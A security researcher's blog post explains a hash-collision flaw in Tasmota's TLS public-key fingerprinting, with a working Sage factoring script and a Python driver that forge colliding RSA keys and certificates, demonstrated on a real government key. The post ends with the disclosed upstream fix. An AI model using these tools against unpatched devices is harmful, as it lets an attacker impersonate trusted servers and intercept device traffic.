Note: This post was written in August 2020, but I got stuck on how to finish it. I’m now publishing it as-is so it doesn’t languish in ‘drafts’ forever.

For an embedded device, TLS certificate validation presents some unique challenges. The obvious problem is the limited processing power, but the real issue is that a typical root CA bundle is well over 100KB and there may not be enough storage available for it. One possible workaround is simply authenticating the server’s public key based on a hash, similar to how SSH works. While there are some drawbacks, this is secure if implemented correctly. If not… well, that’s where I come in.

Smart home devices and automation have interested me for a long time. In the mid 2000s, I got some cheap X10 modules to experiment with. They worked. Kind of. Usually. You could control them with a computer with a serial module that brought RF communications into the mix for no good reason. The poor reliability and difficulty setting these devices up kept them from ever getting significant adoption. A lot has changed in 20 years.

The ESP8266 WiFi chip entered production December 30th 2013. It was intended to provide internet connectivity to other microcontrollers. Though it only cost a few dollars, it was actually a very capable platform all by itself. By the end of 2014, SDKs were available to run software on it directly. Cheap WiFi-enabled modules based on the ESP8266, such as the ESP-01, helped fuel the “internet of things”.

Reactions to the popularity of mass market smart home devices have been… mixed.

Tech Enthusiasts: Everything in my house is wired to the Internet of Things! I control it all from my smartphone! My smart-house is bluetooth enabled and I can give it voice commands via alexa! I love the future!

Programmers / Engineers: The most recent piece of technology I own is a printer from 2004 and I keep a loaded gun ready to shoot it if it ever makes an unexpected noise.

biggaybunny

I’ve avoided these products because they generally rely on cloud services. While a hosted model makes sense for most people, it gives the vendor access to a lot of data, which they may sell, leave in an unsecured AWS S3 bucket or otherwise distribute. On top of that, there have been a number of instances of companies abruptly shutting down their servers, leaving the devices depending on them useless. Having “LAN-only” operation as an option is considered a niche feature and is generally priced accordingly.

In 2020, I bought a WiFi-enabled air purifier. I hadn’t planned to connect it to my network, but then I discovered someone had published code to use it without the cloud service. One I got that working, I wanted more.

My research turned up a number of cheap WiFi-enabled devices using the ESP8266, and someone’d already done the hard work of figuring out how to reflash them without disassembly[1]. Not only that, but there were several seemingly well maintained options for open source firmware including ESPeasy, ESPurna, Tasmota, and ESPhome. The documentation for Tasmota seemed quite good and included lots of details on supported devices. I wanted to be able to control power to a few appliances, and eventually settled on the Aoycocr U3S. It looked well supported and Amazon had them in stock. A few days later they arrived and I was able to flash them without a hitch.

Tasmota is intended to be used with an MQTT broker. Perusing the documentation, I saw that there was even support for TLS. Being the sort of person to run transport-mode IPSec on their home network[2], I had to use TLS. The default builds don’t include TLS support because of code size constraints, but it’s available as a compile time option. Validation can be done using either the standard CA-based approach, or using public key fingerprints. For convenience, the server can be automatically trusted on first use, with the fingerprint stored for future connections.

The documentation for this feature got my attention (emphasis mine):

The fingerprint is now calculated on the server’s Public Key and no longer on its Certificate. The good news is that Public Keys tend to change far less often than certificates, i.e. LetsEncrypt triggers a certificate renewal every 3 months, the Public Key fingerprint will not change after a certificate renewal. The bad news is that there is no openssl command to retrieve the server’s Public Key fingerprint, although a tool exists to calculate it from your certificate.

I took a look at the fingerprint code.

WiFiClientSecureLightBearSSL.cpp
698static void pubkeyfingerprint_pubkey_fingerprint(br_sha1_context *shactx, br_rsa_public_key rsakey) {
699 br_sha1_init(shactx);
700 br_sha1_update(shactx, "ssh-rsa", 7); // tag
701 br_sha1_update(shactx, rsakey.e, rsakey.elen); // exponent
702 br_sha1_update(shactx, rsakey.n, rsakey.nlen); // modulus
703}

While SHA-1 is vulnerable to collision attacks, it’s still secure against preimage attacks which generate data matching a specific hash.

This scheme was obviously based on the one used by OpenSSH. It’s key serialization format is specified in RFC 4253 as

 string "ssh-rsa"
 mpint e
 mpint n

The meaning of the string and mpint types isn’t actually defined in RFC 4253 — that’s covered in RFC 4251. The important thing to note is that they are both prefixed by their lengths.

So, what’s in the br_rsa_public_key struct?

t_bearssl_rsa.h
155/**
156 * \brief RSA public key.
157 *
158 * The structure references the modulus and the public exponent. Both
159 * integers use unsigned big-endian representation; extra leading bytes
160 * of value 0 are allowed.
161 */
162typedef struct {
163 /** \brief Modulus. */
164 unsigned char *n;
165 /** \brief Modulus length (in bytes). */
166 size_t nlen;
167 /** \brief Public exponent. */
168 unsigned char *e;
169 /** \brief Public exponent length (in bytes). */
170 size_t elen;
171} br_rsa_public_key;

So, the fingerprint is the SHA-1 hash of the literal string “ssh-rsa”, the public exponent, and the modulus all concatenated together. No length prefixes or separators. I immediately suspected it was exploitable. Since the size of the public exponent and modulus aren’t fixed, the input to the hash function is ambiguous. To illustrate in Python:

1# SPDX-License-Identifier: CC0-1.0+ OR 0BSD OR MIT-0
2import hashlib
3
4def hash_concatenated(words):
5 sha = hashlib.sha256()
6 for word in words:
7 sha.update(word.encode())
8
9 return sha.hexdigest()
10
11A = hash_concatenated(['plugin', 'secure'])
12B = hash_concatenated(['plug', 'insecure'])
13
14print(A == B) # True

Relevant XKCD:

Headline: My hobby: whenever calls something an [adjective]-ass [noun], I mentally move the hyphen one word to the right. One man is talking to another about a car that resembles a Volkswagen Beetle. Man: Man, that’s a sweet ass-car.

As used in TLS, RSA keys commonly use e = 65537 as their public exponent with n = pq as their modulus where p and q are random prime numbers several hundred decimal digits long. With p and q, the private exponent d can be calculated as the modular multiplicative inverse of e with respect to (p − 1)(q − 1).

If the original public key was e = 17, n = 279581516717, then it would concatenate to 17279581516717. From this, colliding candidate public keys can be created my splitting the digits in different places. Maybe one of them will be easy to crack?

e = 172, n = 79581516717 — Can’t use this because e is even.

e = 1727, n = 9581516717 — No luck here, n is prime.

e = 17279, n = 581516717 — Trivial to factor! n = 19⋅30606143

Now d can be calculated.

φ(n) = (19 − 1) ⋅ (30606143 − 1)

φ(n) = 18 ⋅ 30606142

φ(n) = 550910556

d = invert(17279, 550910556)

d = 480193523

In TLS, however, the numbers will be a lot bigger — typically e 65537 and n is a 2048 bit (617 decimal digit) semiprime. Implementations vary in the ranges of values they will accept in RSA keys, and the attack will be constrained by those limits. Tasmota uses BearSSL[3], so that will be the focus for a moment. Per the documentation, by default BearSSL will accept RSA keys with a modulus at least 128 bytes long — that’s 1017 bits (307 decimal digits). A lot of libraries limit the public exponent to a 32 or 64 bit value — what about BearSSL?

The source code holds the answer:

The X.509 “minimal” engine will tolerate public exponents of arbitrary size as long as the modulus and the exponent can fit together in the dedicated buffer.

If exponents can be arbitrarily large, that means for a 2048 bit key with the standard e value, there are theoretically 128 alternate places where e and n can be split. In practice, there are some further restrictions that come into play. The biggest one that immediately rules out about half of the options is the need for e to be odd. Another issue is that BearSSL always encodes n without leading zero bytes, so the first byte after the split must be nonzero.

Even with the splitting, the number to be factored is still quite large. I’ve previously done some research that involved factoring semiprimes used in RSA, but anything much beyond 512 bits (155 decimal digits) requires more computational resources than I have access to. For a 1024 bit semiprime, the cost to factor is probably on the order of $10M USD. In this case, however, the number is effectively random and has a reasonable chance of having some small factors.

Although RSA private keys normally use two primes, the math still works with three or more. I initially assumed that would require too much effort to implement. I’ve gotten textbook RSA working with it before, but I doubted I’d be able to hack a TLS library into using it. Instead, I tried to go the lazy route. My initial strategy was to simply send the new n value to factordb and try to construct an RSA key with composite values for p and q. This did not work, even when the resulting φ(n) was coprime to e. To be honest, I don’t understand the math well enough to explain why. I almost gave up at that point, but I really wanted to find a way to pull off the attack. Instead, I complained to some friends in a chat room:

RyanC: I’m trying to write an exploit for something, and it needs to use RSA with a modulus that has more than two factors.

RyanC: I thought that this could be made to work by just using composite p and q.

RyanC: that, however, does not work with openssl

RyanC: is this just openssl’s optimizations shooting me in the foot, or does this actually not work?

RyanC: I don’t really want to build a hacked TLS lib that does multiprime rsa

Within a few minutes, someone responded pointing out that Go’s standard cryptography library actually did support this, and then another mentioned there’s a standardized format for it. Some further digging revealed that OpenSSL can also handle multi-prime RSA as of version 1.1.1. All I had to do was find a full prime factorization and get the key in the right format.

Creating a properly formatted key was the easy part. In previous projects where I’ve done ill-advised things with RSA keys I’ve used the RSA.construct method of PyCryptodome[4], but that only supports the standard two prime version. There don’t seem to be any libraries available that handle the multi-prime case, so I had to write my own.

Actually doing the factorization was a bit harder. This particular bug provides a few dozen possible values to try to factor, so an algorithm that can probabilistically find factors up to a few dozen digits long quickly would be ideal. Lenstra elliptic-curve factorization (also known as the “elliptic-curve factorization method”, or “ECM” for short) is such an algorithm, and the GMP-ECM implementation of it is packaged for many Linux distributions. The details of how it works aren’t important, though I found a forum post that tries to explain it with an analogy. The most important point is that when running it, one needs to choose a value B1 which corresponds to a vague range of values to search, and then run a bunch of randomized trials. The larger the range, the more trials needed to be confident there are no factors to be found there.

I had some issues with ECM when testing. The factors returned by it aren’t necessarily prime, so they may require further breakdown. If all of the factors of a number were too small, this sometimes wouldn’t work. I had to add code to avoid this problem by starting out with a trial division pass, and feeding any composites of 30 digits or less to the factor utility that comes installed by default on most Linux systems.

crack_split_rsa.sage
1# Tested with the version of Sage available for Ubuntu 20.04
2
3import sys
4import json
5
6from sage.all import *
7
8from binascii import unhexlify
9
10class Unbuffered(object):
11 def __init__(self, stream):
12 self.stream = stream
13 def write(self, data):
14 self.stream.write(data)
15 self.stream.flush()
16 def writelines(self, datas):
17 self.stream.writelines(datas)
18 self.stream.flush()
19 def __getattr__(self, attr):
20 return getattr(self.stream, attr)
21
22sys.stdout = Unbuffered(sys.stdout)
23
24def from_bytes(b):
25 return int.from_bytes(b, 'big')
26
27def find_small_primes(end):
28 ret = []
29 P = Primes()
30 p = P.first()
31 while p < end:
32 ret.append(p)
33 p = P.next(p)
34
35 return ret
36
37small_primes = find_small_primes(10000)
38
39# look for easy factors
40def try_factor(n, iters=30, B1=1000):
41 L = []
42 q = n
43
44 # find small factors using trial division - ecm doesn't always find them
45 for p in small_primes:
46 while q % p == 0:
47 L += [p]
48 q /= p
49
50 # find larger factors using ecm
51 for _ in range(iters):
52 try:
53 p, q = ecm.one_curve(q, B1=B1)
54 if p != 1:
55 L += ecm.factor(p)
56
57 # are we done yet?
58 if is_pseudoprime(q) and q*prod(L) == n:
59 return (True, L + [q])
60
61 # retry with different B1
62 B1 += int(sqrt(B1))
63 except:
64 pass
65
66 # failed to factor
67 return (False, L + [n/prod(L)])
68
69if __name__ == '__main__':
70 print('I:Starting up...')
71 raw = unhexlify(sys.argv[1])
72
73 raw_n_bytes = len(raw)
74
75 found = {}
76 incomplete = {}
77 iters = 30
78 for attempt in range(3):
79 print('I:Attempt {a}, iters={i}'.format(a=(attempt+1), i=iters))
80 for pos in range(raw_n_bytes - 128, 1, -1):
81 # go on if we already founds factors from this split point
82 if pos in found:
83 continue
84
85 e_len = pos
86 n_len = raw_n_bytes - pos
87 e_bytes = raw[:pos]
88 n_bytes = raw[pos:]
89 e = from_bytes(e_bytes)
90 n = from_bytes(n_bytes)
91
92 # skip if e is unusable or is a 'standard' value
93 if e < 3 or e % 2 == 0 or e in [65537, 257, 17, 3]:
94 print('D:Cannot use e at [{}] - even or too small'.format(pos))
95 found[pos] = None
96 continue
97
98 if n_bytes[0] == 0:
99 print('D:Cannot use n at [{}] - leading zero byte'.format(pos))
100 found[pos] = None
101 continue
102
103 print('I:Looking for factors at [{}]'.format(pos))
104 success, primes = try_factor(n, iters)
105 if success:
106 if len(primes) < 2:
107 print('N:Unable to construct key with prime modulus')
108 found[pos] = None
109 continue
110
111 min_prime = min(primes)
112 print('N:Found {c} factors for n at [{p}] - smallest is {m}'.format(c=len(primes), p=pos, m=min_prime))
113
114 seen_primes = set()
115 for p in primes:
116 if p in seen_primes:
117 print('N:Duplicate factor {} - cannot build key'.format(p))
118 found[pos] = None
119 seen_primes = None
120 break
121 else:
122 seen_primes.add(p)
123
124 if seen_primes is None:
125 continue
126
127 phi = prod([p - 1 for p in primes])
128 if gcd(e, phi) != 1:
129 print('N:Cannot use (e, n) at [{p}] - e not coprime to phi(n) - gcd(e, phi(n)) = {g}'.format(p=pos, g=gcd(e, phi)))
130 found[pos] = None
131 continue
132
133 result = {'e': str(e), 'primes': list(map(str, primes))}
134 found[pos] = result
135 print('R:'+json.dumps(result))
136 else:
137 cofactor = primes.pop()
138 partial_phi = prod([p - 1 for p in primes])
139 if gcd(e, partial_phi) != 1:
140 # we won't retry here since we know it won't be coprime
141 found[pos] = None
142 continue
143 if pos not in incomplete or int(incomplete[pos]['cofactor']) > cofactor:
144 incomplete[pos] = {
145 'e': str(e),
146 'cofactor': str(cofactor),
147 'primes': list(map(str, primes))
148 }
149
150 done = False
151 # try to find at least one prime that is more than one digit
152 for v in found.values():
153 if v is not None:
154 primes = list(map(int, v['primes']))
155 if min(primes) > 10 and prod(primes) > int(v['e']) and len(primes) <= 5:
156 print('N:Found key with min(primes) > 10, e < n and 5 or fewer primes')
157 done = True
158 break
159 if done:
160 break
161
162 iters *= 2
163
164 # search loop done, print result as json
165 sol = list(filter(lambda x: x is not None, found.values()))
166 sol.sort(key=lambda x: int(x['e']))
167 inc = list(filter(lambda x: x is not None, incomplete.values()))
168 inc.sort(key=lambda x: len(x['cofactor']))
169 result = {
170 "input": sys.argv[1],
171 "solutions": sol,
172 "incomplete": inc
173 }
174
175 print(json.dumps(result))

The plan of attack, then will be to start with the smallest n value that can be split out of the original key, and work up to the largest. For each potential n value, spend a short time trying to factor it. If it can be factored, great, the attack is done. If not, save the progress and move on. If a usable full factorization isn’t found for any of the candidate n values, then try again, spending progressively more time until successful. There’s no guarantee this process will work on any given key, but the odds are quite good.

collide_key.py
1import sys
2import ssl
3import json
4import base64
5import subprocess
6
7from hashlib import sha1
8
9from binascii import hexlify, unhexlify
10
11# need recent pycryptodome
12from Crypto.PublicKey import RSA
13
14from mprsa import RSAPrivateKey
15
16CRACK_ARGS = ['ssh', '192.168.1.42', '~/crack_split_rsa.py']
17
18def to_bytes(n):
19 return n.to_bytes((n.bit_length() + 7) // 8, 'big')
20
21def fingerprint(raw):
22 return sha1(b'ssh-rsa'+raw).hexdigest()
23
24def fmt_fingerprint(raw):
25 h = fingerprint(raw).upper()
26 return ' '.join(h[i:i+2] for i in range(0, len(h), 2))
27
28def tasmota_fingerprint(rsa):
29 sha = sha1(b'ssh-rsa')
30 sha.update(to_bytes(int(rsa['publicExponent'])))
31 sha.update(to_bytes(int(rsa['modulus'])))
32 return sha.hexdigest()
33
34def self_sign(rsa, cn='evil'):
35 k = crypto.load_privatekey(crypto.FILETYPE_ASN1, rsa.der)
36 cert = crypto.X509()
37 cert.get_subject().CN = cn
38 cert.set_serial_number(int(tasmota_fingerprint(rsa), 16))
39 cert.gmtime_adj_notBefore(86400 * -1)
40 cert.gmtime_adj_notAfter(86400 * 365)
41 cert.set_issuer(cert.get_subject())
42 cert.set_pubkey(k)
43 cert.sign(k, 'sha256')
44
45 return crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode()
46
47def keypair(rsa, cn='evil'):
48 i = 0
49 while True:
50 try:
51 keypair = rsa.pem + rsa.rsa_sign(cn)
52 if i > 0:
53 sys.stdout.write('WARNING: had to retry cert signature')
54 return keypair
55 except Exception as e:
56 if i < 20:
57 i += 1
58 else:
59 raise e
60
61if __name__ == '__main__':
62 source = sys.argv[1]
63
64 if ':' in source:
65 parts = source.split(':')
66 hostname = parts[0]
67 port = int(parts[1])
68 target = RSA.importKey(ssl.get_server_certificate((hostname, port)))
69 else:
70 with open(source, 'rb') as pem:
71 target = RSA.importKey(pem.read())
72
73 raw = to_bytes(target.e) + to_bytes(target.n)
74
75 fp = fingerprint(raw)
76
77 print('Tasmota fingerprint: ' + fmt_fingerprint(raw))
78
79 proc = subprocess.Popen(CRACK_ARGS + [hexlify(raw).decode()], stdout=subprocess.PIPE)
80 lines = []
81 while True:
82 line = proc.stdout.readline()
83 if not line:
84 break
85 line = line.decode().rstrip()
86 lines.append(line)
87 if line[0] != '{':
88 print(line)
89
90 last = lines[len(lines)-1]
91
92 print('Writing results to %s.json' % fp)
93 with open('%s.json' % fp, 'w') as out:
94 out.write(last)
95
96 result = json.loads(last)
97
98 if 'solutions' in result:
99 for i, params in enumerate(result['solutions']):
100 e = int(params['e'])
101 primes = list(map(int, params['primes']))
102 key = RSAPrivateKey(e, primes)
103 filename = '%s_e%04u_p%02u' % (fp, int.bit_length(e), len(primes))
104 try:
105 b64 = base64.b64encode(self.der).decode()
106 b64 = '\n'.join(b64[i:i+64] for i in range(0, len(b64), 64))
107 pem = '-----BEGIN {text}-----\n{b64}\n-----END {text}-----\n'
108 pem = pem.format(b64=b64, text='RSA PRIVATE KEY')
109 keypair_text = keypair(key)
110 print('Writing keypair to {}'.format(filename+'.pem'))
111 with open(filename+'.pem', 'w') as out:
112 out.write(keypair_text)
113 except Exception as e:
114 print(e)
115 if len(primes) > 5:
116 print('You may need to patch OpenSSL to allow more than 5 primes.')
117 print('Writing keypair to {}'.format(filename+'.key'))
118 with open(filename+'.key', 'w') as out:
119 out.write(key.pem)

Theory is all well and good, but does this actually work on real world keys? How about this key for nsa.gov?

 Subject: CN = www.defense.gov
 Subject Public Key Info:
  Public Key Algorithm: rsaEncryption
  RSA Public-Key: (2048 bit)
  Modulus:
  00:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:15:52:
  ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:6f:91:
  93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:3b:26:
  c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:41:11:
  34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:76:8e:
  c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:c5:d4:
  af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:76:9a:
  4d:81:e2:c2:2f:a4:61:18:47:6b:eb:ab:78:b0:5b:
  8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:
  92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:
  2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:
  9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:
  05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:
  94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:
  ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:
  a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:
  99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:
  74:01
  Exponent: 65537 (0x10001)

This serializes out to 7373682d727361010001c94b58d1...f37401, and Tasmota’s fingerprint for it is:

87 55 2E C2 AF 2F F3 2A A7 BE A8 71 B7 69 F7 B6 09 FC 97 A2

The cracker I wrote successfully factored a colliding key in less than a minute.

 Subject: CN = www.defense.gov
 Subject Public Key Info:
  Public Key Algorithm: rsaEncryption
  RSA Public-Key: (1176 bit)
  Modulus:
  00:a4:61:18:47:6b:eb:ab:78:b0:5b:
  8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:
  92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:
  2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:
  9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:
  05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:
  94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:
  ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:
  a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:
  99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:
  74:01
  Exponent:
  01:00:01:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:
  15:52:ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:
  6f:91:93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:
  3b:26:c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:
  41:11:34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:
  76:8e:c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:
  c5:d4:af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:
  76:9a:4d:81:e2:c2:2f

The factors are 13, 1,091, 15,032,926,429, and a 340 digit prime that doesn’t need to be printed here.

Postscript

I ended up submitting a patch to Tasmota that did an in-place upgrade of the fingerprint while maintaining backwards compatibility and still mitigating the attack. Details can be found in Tasmota’s issue tracker: https://github.com/arendst/Tasmota/issues/10571

[1]The tool is Tuya-Convert, and there was a talk about it at 35C3 called Smart home - Smart hack.
[2]This was a mistake. I wanted to protect my NFS and iSCSI traffic. I have since decided that IPSec is an abomination, having been designed in the dark ages of cryptography. Besides, it inexplicably stopped working after one of my moves.
[3]BearSSL is an excellent TLS library, and this vulnerability is an issue with the custom certificate validation code Tasmota plugged into it rather than with BearSSL itself. I also want to thank the author, Thomas Pornin, for some helpful pointers that were instrumental in developing a practical attack.
[4]Actually, PyCrypto, but that project is no longer maintained, and PyCryptodome was created to be a mostly drop-in replacement for it.